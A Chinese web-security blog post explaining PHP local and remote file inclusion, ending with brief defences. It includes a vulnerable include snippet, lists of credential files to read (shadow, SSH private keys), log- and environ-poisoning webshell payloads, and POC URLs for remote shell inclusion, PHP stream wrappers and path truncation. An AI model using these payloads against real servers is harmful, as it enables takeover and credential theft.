文件包含漏洞

web安全 2017-12-02

PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

PHP文件包含漏洞代码

if ($_GET['func']) 
{
   include $_GET['func'];
} 
else 
{
   include 'default.php';
}

以上代码保存为 http://www.test.com/index.php

本地文件包含

包含系统文件

windows

c:\boot.ini
c:\windows\systems32\inetsrv\MetaBase.xml
c:\windows\repair\sam
c:\windows\php.ini           php配置文件
c:\windows\my.ini            mysql配置文件

linux
普通权限:

/etc/passwd
/usr/local/app/apache2/conf/http.conf
/usr/local/app/php5/lib/php.ini      PHP相关设置
/etc/httpd/conf/http.conf            apache配置文件
/etc/my.cnf      
/etc/passwd
/var/log/apache/error.log 
/proc/self/environ
/var/log/
/var/log/apache/access.log 

root权限:

/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/id_rsa.pub
/root/.ssh/known_hosts
/etc/shadow
/root/.bash_history
/root/.mysql_history
/var/log/wtmp
/var/run/utmp

获取webshell

包含web日志文件

1 访问连接 http://www.test.com/<;?php eval(POST_['test']) ?>

2 使用菜刀连接 http://www.test.com/index.php?func=/var/log/apache/access.log

这种方式有一个弊端,由于access的日志文件比较大,所以webshell可能会很慢甚至卡死

3 可以尝试包含/var/log/apache/error.log 文件,文件名太长记录到error.log中(选择error.log因为通常它比acess.log体积小点)。

包含ssh登入日志

如果web服务器开启了ssh,且我可以使用putty连接其端口,我们可以尝试连接,使用<?php eval(POST_['test']) ?>作为用户名,然后在登录失败后,用户名会被记录在ssh的失败登入日志(/var/log/auth.log)中,我们可以包含这个日志文件获取webshell。

包含环境变量

我们在user-agent中插入一句话,然后访问web服务器,在/proc/self/environ中会包含我们的user-agent信息,然后我们可以包含该文件获取webshell。下面是该文件的内容:

DOCUMENT_ROOT=/home/sirgod/public_html 
GATEWAY_INTERFACE=CGI/1.1 
HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml,
image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac 
HTTP_HOST=www.test.com 
HTTP_REFERER=http://www.test.com/index.php 
HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 
PATH=/bin:/usr/bin 
QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron 
REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx 
REMOTE_PORT=35665 
REQUEST_METHOD=GET 
REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron 
SCRIPT_FILENAME=/home/sirgod/public_html/index.php 
SCRIPT_NAME=/index.php 
SERVER_ADDR=1xx.1xx.1xx.6x 
SERVER_ADMIN=webmaster@test.com 
SERVER_NAME=www.website.com 
SERVER_PORT=80 
SERVER_PROTOCOL=HTTP/1.0 
SERVER_SIGNATURE=
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2
mod_auth_passthrough/2.1 mod_bwlimited/1.4 
FrontPage/5.0.2.2635 Server at www.test.com Port 80

包含用户上传文件

包含图片

用户上传图片功能是web服务网站最常用的功能,没什么好说的

包含压缩包

上传一个包含一句话的rar压缩包,这个功能在php版本大于5.30下可以利用

【POC】http://www.test.com/index.php?file=phar://test.rar/test.txt

远程文件包含

利用方式

包含远程服务器文件

  • 利用条件

需要allow_url_fopen=On并且 allow_url_include=On

  • POC
【POC】http://www.test.com/index.php?file=[http|https|ftp]://example.com/shell.txt

利用PHP流

  • 利用条件

需要allow_url_include=On

  • 利用方式

【POC】 http://www.test.com/index.php?file=php://input

【POC】 http://www.test.com/index.php?file=php://filter/convert.base64-encode/resource=index.php

【POC】 http://www.test.com/index.php?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=

对于有限制的文件包含

包含脚本

<?php include($_GET['file'] . ".htm"); ?>

突破方式

00截断

  • 利用条件

需要 magic_quotes_gpc=off,PHP小于5.3.4有效

  • 利用方式

【POC】http://www.test.com/index.php?file=../../../../../../../../../etc/passwd%00

超长文件名截断

  • 利用条件

php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256

  • 利用方式

【POC】http://www.test.com/index.php?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.

点号截断

  • 利用条件

php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256

  • 利用方式

【POC】http://www.test.com/index.php?file=../../../../../../../../../boot.ini/………[…]…………

防御措施

1 尽量不要用户控制文件包含的参数

2 开启open_basedir函数,将其设置为指定目录,则只有该目录的文件允许被访问。

3 关闭allow_url_include函数,防止远程文件包含。

4 包含文件白名单限制

不同语言有包含功能的函数

PHP

include()
include_once()
require()
require_once()
fopen()
readfile()

jsp

include   <%@ include file="body.jsp"%>
jsp:include   <jsp:include page="head.jsp"/>
采用JSTL  <c:import url="http://thief.one/1.jsp">

asp

<!--#include file="1.asp" -->

aspx

<!--#include file="top.aspx" -->

本文由 信安之路 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

楼主残忍的关闭了评论